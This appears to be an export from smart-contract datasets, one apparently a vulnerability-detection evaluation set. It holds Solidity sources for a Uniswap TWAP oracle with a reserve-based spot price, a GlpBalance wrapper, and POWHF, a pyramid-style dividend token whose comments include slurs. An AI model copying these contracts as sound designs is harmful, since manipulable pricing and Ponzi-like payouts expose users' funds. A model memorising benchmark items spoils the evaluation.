function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = uint256(1) << RESOLUTION;
uint256 private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z;
require(y == 0 || (z = uint256(self._x) * y) / y == uint256(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, "FixedPoint: ZERO_RECIPROCAL");
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
contract UniswapPairOracle is Ownable {
using FixedPoint for *;
uint256 public PERIOD = 3600; // 60-minute TWAP (Time-Weighted Average Price)
uint256 private constant MAXIMUM_PERIOD = 3600 * 48; // 48 hours
uint256 private constant MINIMUM_PERIOD = 60 * 10; // 10 minutes
uint256 private constant LENIENCY = 3600 * 12; // 12 hours
IUniswapV2Pair public immutable pair;
address public immutable token0;
address public immutable token1;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
uint32 public blockTimestampLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
constructor(address pairAddress) {
IUniswapV2Pair _pair = IUniswapV2Pair(pairAddress);
pair = _pair;
token0 = _pair.token0();
token1 = _pair.token1();
price0CumulativeLast = _pair.price0CumulativeLast(); // Fetch the current accumulated price value (1 / 0)
price1CumulativeLast = _pair.price1CumulativeLast(); // Fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = _pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, "PairOracle: NO_RESERVES"); // Ensure that there's liquidity in the pair
}
function setPeriod(uint256 _period) external onlyOwner {
require(_period <= MAXIMUM_PERIOD, "PairOracle::setPeriod: > MAXIMUM_PERIOD");
require(_period >= MINIMUM_PERIOD, "PairOracle::setPeriod: < MINIMUM_PERIOD");
PERIOD = _period;
emit PeriodUpdated(_period);
}
function update() external {
(uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp) = currentCumulativePrices(address(pair));
unchecked {
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // Overflow is desired
// Ensure that at least one full period has passed since the last update
require(timeElapsed >= PERIOD, "PairOracle: PERIOD_NOT_ELAPSED");
// Overflow is desired, casting never truncates
// Cumulative price is in (uq112x112 price * seconds) units so we
// simply wrap it after division by time elapsed
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
}
}
// Note this will always return 0 before update has been called successfully for the first time.
function twap(address token, uint256 pricePrecision) external view returns (uint256 amountOut) {
uint32 timeElapsed = currentBlockTimestamp() - blockTimestampLast;
require(timeElapsed <= PERIOD + LENIENCY, "PairOracle::twap: Oracle was staled");
uint8 _token0MissingDecimals = 18 - (ERC20(token0).decimals());
uint8 _token1MissingDecimals = 18 - (ERC20(token1).decimals());
if (token == token0) {
amountOut =
price0Average.mul(pricePrecision).decode144() *
(10**_token1MissingDecimals);
} else {
require(token == token1, "PairOracle: INVALID_TOKEN");
amountOut =
price1Average.mul(pricePrecision).decode144() *
(10**_token0MissingDecimals);
}
}
function spot(address token, uint256 pricePrecision) external view returns (uint256 amountOut) {
IUniswapV2Pair uniswapPair = IUniswapV2Pair(pair);
address _token0 = uniswapPair.token0();
address _token1 = uniswapPair.token1();
require(_token0 == token || _token1 == token, "Invalid pair");
(uint256 _reserve0, uint256 _reserve1,) = uniswapPair.getReserves();
require(_reserve0 > 0 && _reserve1 > 0, "No reserves");
uint8 _token0MissingDecimals = 18 - (ERC20(_token0).decimals());
uint8 _token1MissingDecimals = 18 - (ERC20(_token1).decimals());
uint256 _price = 0;
if (token == _token0) {
_price = (_reserve1 * (10**_token1MissingDecimals) * pricePrecision) / _reserve0;
} else {
_price = (_reserve0 * (10**_token0MissingDecimals) * pricePrecision) / _reserve1;
}
return _price;
}
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2**32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address _pair)
internal
view
returns (uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp)
{
blockTimestamp = currentBlockTimestamp();
IUniswapV2Pair uniswapPair = IUniswapV2Pair(_pair);
price0Cumulative = uniswapPair.price0CumulativeLast();
price1Cumulative = uniswapPair.price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 _blockTimestampLast) = uniswapPair
.getReserves();
unchecked {
if (_blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - _blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative +=
uint256(FixedPoint.fraction(reserve1, reserve0)._x) *
timeElapsed;
// counterfactual
price1Cumulative +=
uint256(FixedPoint.fraction(reserve0, reserve1)._x) *
timeElapsed;
}
}
}
// EVENTS
event PeriodUpdated(uint256 _period);
}
| 82,590 | 12,758 |
37baaff336978af9745e93900343398788ed984a0e92ed74d677cf691b27fac0
| 20,597 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/ad/ad96D9736484e35985773bdf7dBa5750dC830042_GlpBalance.sol
| 3,834 | 14,557 |
pragma solidity 0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IVaultUtils {
function updateCumulativeFundingRate(address _collateralToken, address _indexToken) external returns (bool);
function validateIncreasePosition(address _account, address _collateralToken, address _indexToken, uint256 _sizeDelta, bool _isLong) external view;
function validateDecreasePosition(address _account, address _collateralToken, address _indexToken, uint256 _collateralDelta, uint256 _sizeDelta, bool _isLong, address _receiver) external view;
function validateLiquidation(address _account, address _collateralToken, address _indexToken, bool _isLong, bool _raise) external view returns (uint256, uint256);
function getEntryFundingRate(address _collateralToken, address _indexToken, bool _isLong) external view returns (uint256);
function getPositionFee(address _account, address _collateralToken, address _indexToken, bool _isLong, uint256 _sizeDelta) external view returns (uint256);
function getFundingFee(address _account, address _collateralToken, address _indexToken, bool _isLong, uint256 _size, uint256 _entryFundingRate) external view returns (uint256);
function getBuyUsdgFeeBasisPoints(address _token, uint256 _usdgAmount) external view returns (uint256);
function getSellUsdgFeeBasisPoints(address _token, uint256 _usdgAmount) external view returns (uint256);
function getSwapFeeBasisPoints(address _tokenIn, address _tokenOut, uint256 _usdgAmount) external view returns (uint256);
function getFeeBasisPoints(address _token, uint256 _usdgDelta, uint256 _feeBasisPoints, uint256 _taxBasisPoints, bool _increment) external view returns (uint256);
}
interface IVault {
function isInitialized() external view returns (bool);
function isSwapEnabled() external view returns (bool);
function isLeverageEnabled() external view returns (bool);
function setVaultUtils(IVaultUtils _vaultUtils) external;
function setError(uint256 _errorCode, string calldata _error) external;
function router() external view returns (address);
function usdg() external view returns (address);
function gov() external view returns (address);
function whitelistedTokenCount() external view returns (uint256);
function maxLeverage() external view returns (uint256);
function minProfitTime() external view returns (uint256);
function hasDynamicFees() external view returns (bool);
function fundingInterval() external view returns (uint256);
function totalTokenWeights() external view returns (uint256);
function getTargetUsdgAmount(address _token) external view returns (uint256);
function inManagerMode() external view returns (bool);
function inPrivateLiquidationMode() external view returns (bool);
function maxGasPrice() external view returns (uint256);
function approvedRouters(address _account, address _router) external view returns (bool);
function isLiquidator(address _account) external view returns (bool);
function isManager(address _account) external view returns (bool);
function minProfitBasisPoints(address _token) external view returns (uint256);
function tokenBalances(address _token) external view returns (uint256);
function lastFundingTimes(address _token) external view returns (uint256);
function setMaxLeverage(uint256 _maxLeverage) external;
function setInManagerMode(bool _inManagerMode) external;
function setManager(address _manager, bool _isManager) external;
function setIsSwapEnabled(bool _isSwapEnabled) external;
function setIsLeverageEnabled(bool _isLeverageEnabled) external;
function setMaxGasPrice(uint256 _maxGasPrice) external;
function setUsdgAmount(address _token, uint256 _amount) external;
function setBufferAmount(address _token, uint256 _amount) external;
function setMaxGlobalShortSize(address _token, uint256 _amount) external;
function setInPrivateLiquidationMode(bool _inPrivateLiquidationMode) external;
function setLiquidator(address _liquidator, bool _isActive) external;
function setFundingRate(uint256 _fundingInterval, uint256 _fundingRateFactor, uint256 _stableFundingRateFactor) external;
function setFees(uint256 _taxBasisPoints,
uint256 _stableTaxBasisPoints,
uint256 _mintBurnFeeBasisPoints,
uint256 _swapFeeBasisPoints,
uint256 _stableSwapFeeBasisPoints,
uint256 _marginFeeBasisPoints,
uint256 _liquidationFeeUsd,
uint256 _minProfitTime,
bool _hasDynamicFees) external;
function setTokenConfig(address _token,
uint256 _tokenDecimals,
uint256 _redemptionBps,
uint256 _minProfitBps,
uint256 _maxUsdgAmount,
bool _isStable,
bool _isShortable) external;
function setPriceFeed(address _priceFeed) external;
function withdrawFees(address _token, address _receiver) external returns (uint256);
function directPoolDeposit(address _token) external;
function buyUSDG(address _token, address _receiver) external returns (uint256);
function sellUSDG(address _token, address _receiver) external returns (uint256);
function swap(address _tokenIn, address _tokenOut, address _receiver) external returns (uint256);
function increasePosition(address _account, address _collateralToken, address _indexToken, uint256 _sizeDelta, bool _isLong) external;
function decreasePosition(address _account, address _collateralToken, address _indexToken, uint256 _collateralDelta, uint256 _sizeDelta, bool _isLong, address _receiver) external returns (uint256);
function validateLiquidation(address _account, address _collateralToken, address _indexToken, bool _isLong, bool _raise) external view returns (uint256, uint256);
function liquidatePosition(address _account, address _collateralToken, address _indexToken, bool _isLong, address _feeReceiver) external;
function tokenToUsdMin(address _token, uint256 _tokenAmount) external view returns (uint256);
function priceFeed() external view returns (address);
function fundingRateFactor() external view returns (uint256);
function stableFundingRateFactor() external view returns (uint256);
function cumulativeFundingRates(address _token) external view returns (uint256);
function getNextFundingRate(address _token) external view returns (uint256);
function getFeeBasisPoints(address _token, uint256 _usdgDelta, uint256 _feeBasisPoints, uint256 _taxBasisPoints, bool _increment) external view returns (uint256);
function liquidationFeeUsd() external view returns (uint256);
function taxBasisPoints() external view returns (uint256);
function stableTaxBasisPoints() external view returns (uint256);
function mintBurnFeeBasisPoints() external view returns (uint256);
function swapFeeBasisPoints() external view returns (uint256);
function stableSwapFeeBasisPoints() external view returns (uint256);
function marginFeeBasisPoints() external view returns (uint256);
function allWhitelistedTokensLength() external view returns (uint256);
function allWhitelistedTokens(uint256) external view returns (address);
function whitelistedTokens(address _token) external view returns (bool);
function stableTokens(address _token) external view returns (bool);
function shortableTokens(address _token) external view returns (bool);
function feeReserves(address _token) external view returns (uint256);
function globalShortSizes(address _token) external view returns (uint256);
function globalShortAveragePrices(address _token) external view returns (uint256);
function maxGlobalShortSizes(address _token) external view returns (uint256);
function tokenDecimals(address _token) external view returns (uint256);
function tokenWeights(address _token) external view returns (uint256);
function guaranteedUsd(address _token) external view returns (uint256);
function poolAmounts(address _token) external view returns (uint256);
function bufferAmounts(address _token) external view returns (uint256);
function reservedAmounts(address _token) external view returns (uint256);
function usdgAmounts(address _token) external view returns (uint256);
function maxUsdgAmounts(address _token) external view returns (uint256);
function getRedemptionAmount(address _token, uint256 _usdgAmount) external view returns (uint256);
function getMaxPrice(address _token) external view returns (uint256);
function getMinPrice(address _token) external view returns (uint256);
function getDelta(address _indexToken, uint256 _size, uint256 _averagePrice, bool _isLong, uint256 _lastIncreasedTime) external view returns (bool, uint256);
function getPosition(address _account, address _collateralToken, address _indexToken, bool _isLong) external view returns (uint256, uint256, uint256, uint256, uint256, uint256, bool, uint256);
}
interface IGlpManager {
function glp() external view returns (address);
function usdg() external view returns (address);
function vault() external view returns (IVault);
function cooldownDuration() external returns (uint256);
function getAumInUsdg(bool maximise) external view returns (uint256);
function lastAddedAt(address _account) external returns (uint256);
function addLiquidity(address _token, uint256 _amount, uint256 _minUsdg, uint256 _minGlp) external returns (uint256);
function addLiquidityForAccount(address _fundingAccount, address _account, address _token, uint256 _amount, uint256 _minUsdg, uint256 _minGlp) external returns (uint256);
function removeLiquidity(address _tokenOut, uint256 _glpAmount, uint256 _minOut, address _receiver) external returns (uint256);
function removeLiquidityForAccount(address _account, address _tokenOut, uint256 _glpAmount, uint256 _minOut, address _receiver) external returns (uint256);
function setShortsTrackerAveragePriceWeight(uint256 _shortsTrackerAveragePriceWeight) external;
function setCooldownDuration(uint256 _cooldownDuration) external;
}
contract GlpBalance {
using SafeMath for uint256;
IGlpManager public glpManager;
address public stakedGlpTracker;
mapping (address => mapping (address => uint256)) public allowances;
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(IGlpManager _glpManager,
address _stakedGlpTracker) public {
glpManager = _glpManager;
stakedGlpTracker = _stakedGlpTracker;
}
function allowance(address _owner, address _spender) external view returns (uint256) {
return allowances[_owner][_spender];
}
function approve(address _spender, uint256 _amount) external returns (bool) {
_approve(msg.sender, _spender, _amount);
return true;
}
function transfer(address _recipient, uint256 _amount) external returns (bool) {
_transfer(msg.sender, _recipient, _amount);
return true;
}
function transferFrom(address _sender, address _recipient, uint256 _amount) external returns (bool) {
uint256 nextAllowance = allowances[_sender][msg.sender].sub(_amount, "GlpBalance: transfer amount exceeds allowance");
_approve(_sender, msg.sender, nextAllowance);
_transfer(_sender, _recipient, _amount);
return true;
}
function _approve(address _owner, address _spender, uint256 _amount) private {
require(_owner != address(0), "GlpBalance: approve from the zero address");
require(_spender != address(0), "GlpBalance: approve to the zero address");
allowances[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
function _transfer(address _sender, address _recipient, uint256 _amount) private {
require(_sender != address(0), "GlpBalance: transfer from the zero address");
require(_recipient != address(0), "GlpBalance: transfer to the zero address");
require(glpManager.lastAddedAt(_sender).add(glpManager.cooldownDuration()) <= block.timestamp,
"GlpBalance: cooldown duration not yet passed");
IERC20(stakedGlpTracker).transferFrom(_sender, _recipient, _amount);
}
}
| 320,579 | 12,759 |
a87a93b70d45ada82cbda36c59ce44cdaa5c77e95433834674721f07a473f686
| 21,751 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x85a3248fd8d750a80d5df3abb0c933bdd9a8396a.sol
| 3,592 | 14,562 |
pragma solidity 0.4.20;
contract POWHF {
string public name = "POWH Future";
string public symbol = "POWHF";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 15; // Dividend Fee Optimized!
uint constant internal tokenPriceInitial_ = 0.0000001 ether;
uint constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens)
uint public stakingRequirement = 100e18;
// amount of shares for each address (scaled number)
mapping(address => uint) internal tokenBalanceLedger_;
mapping(address => uint) internal referralBalance_;
mapping(address => int) internal payoutsTo_;
uint internal tokenSupply_ = 0;
uint internal profitPerShare_;
event onTokenPurchase(address indexed customerAddress,
uint incomingEthereum,
uint tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint tokensBurned,
uint ethereumEarned);
event onReinvestment(address indexed customerAddress,
uint ethereumReinvested,
uint tokensMinted);
event onWithdraw(address indexed customerAddress,
uint ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint tokens);
function buy(address _referredBy) public payable returns (uint) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() onlyStronghands public {
// fetch dividends
uint _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/// @dev Alias of sell() and withdraw().
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/// @dev Withdraws all of the callers earnings.
function withdraw() onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
uint _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/// @dev Liquifies tokens to ethereum.
function sell(uint _amountOfTokens) onlyBagholders public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint _tokens = _amountOfTokens;
uint _ethereum = tokensToEthereum_(_tokens);
uint _dividends = SafeMath.div(_ethereum, dividendFee_);
uint _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int _updatedPayouts = (int) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint _amountOfTokens) onlyBagholders public returns (bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if (myDividends(true) > 0) {
withdraw();
}
// liquify 15% of the tokens that are transfered
// these are dispersed to shareholders
uint _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function totalEthereumBalance() public view returns (uint) {
return this.balance;
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint) {
return (uint) ((int)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/// @dev Return the buy price of 1 individual token.
function sellPrice() public view returns (uint) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint _ethereum = tokensToEthereum_(1e18);
uint _dividends = SafeMath.div(_ethereum, dividendFee_);
uint _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Return the sell price of 1 individual token.
function buyPrice() public view returns (uint) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint _ethereum = tokensToEthereum_(1e18);
uint _dividends = SafeMath.div(_ethereum, dividendFee_);
uint _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint _ethereumToSpend) public view returns (uint) {
uint _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateEthereumReceived(uint _tokensToSell) public view returns (uint) {
require(_tokensToSell <= tokenSupply_);
uint _ethereum = tokensToEthereum_(_tokensToSell);
uint _dividends = SafeMath.div(_ethereum, dividendFee_);
uint _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint _incomingEthereum, address _referredBy) internal returns (uint) {
// data setup
address _customerAddress = msg.sender;
uint _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint _referralBonus = SafeMath.div(_undividedDividends, 3);
uint _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if (// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int _updatedPayouts = (int) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint _ethereum) internal view returns (uint) {
uint _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint _tokens) internal view returns (uint) {
uint tokens_ = (_tokens + 1e18);
uint _tokenSupply = (tokenSupply_ + 1e18);
uint _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
/// @dev This is where all your gas goes.
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
| 196,835 | 12,760 |
87e45dad1b35631f4627459c3b5dc5f0d826f0470b8002d76b808af6b961c405
| 10,877 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
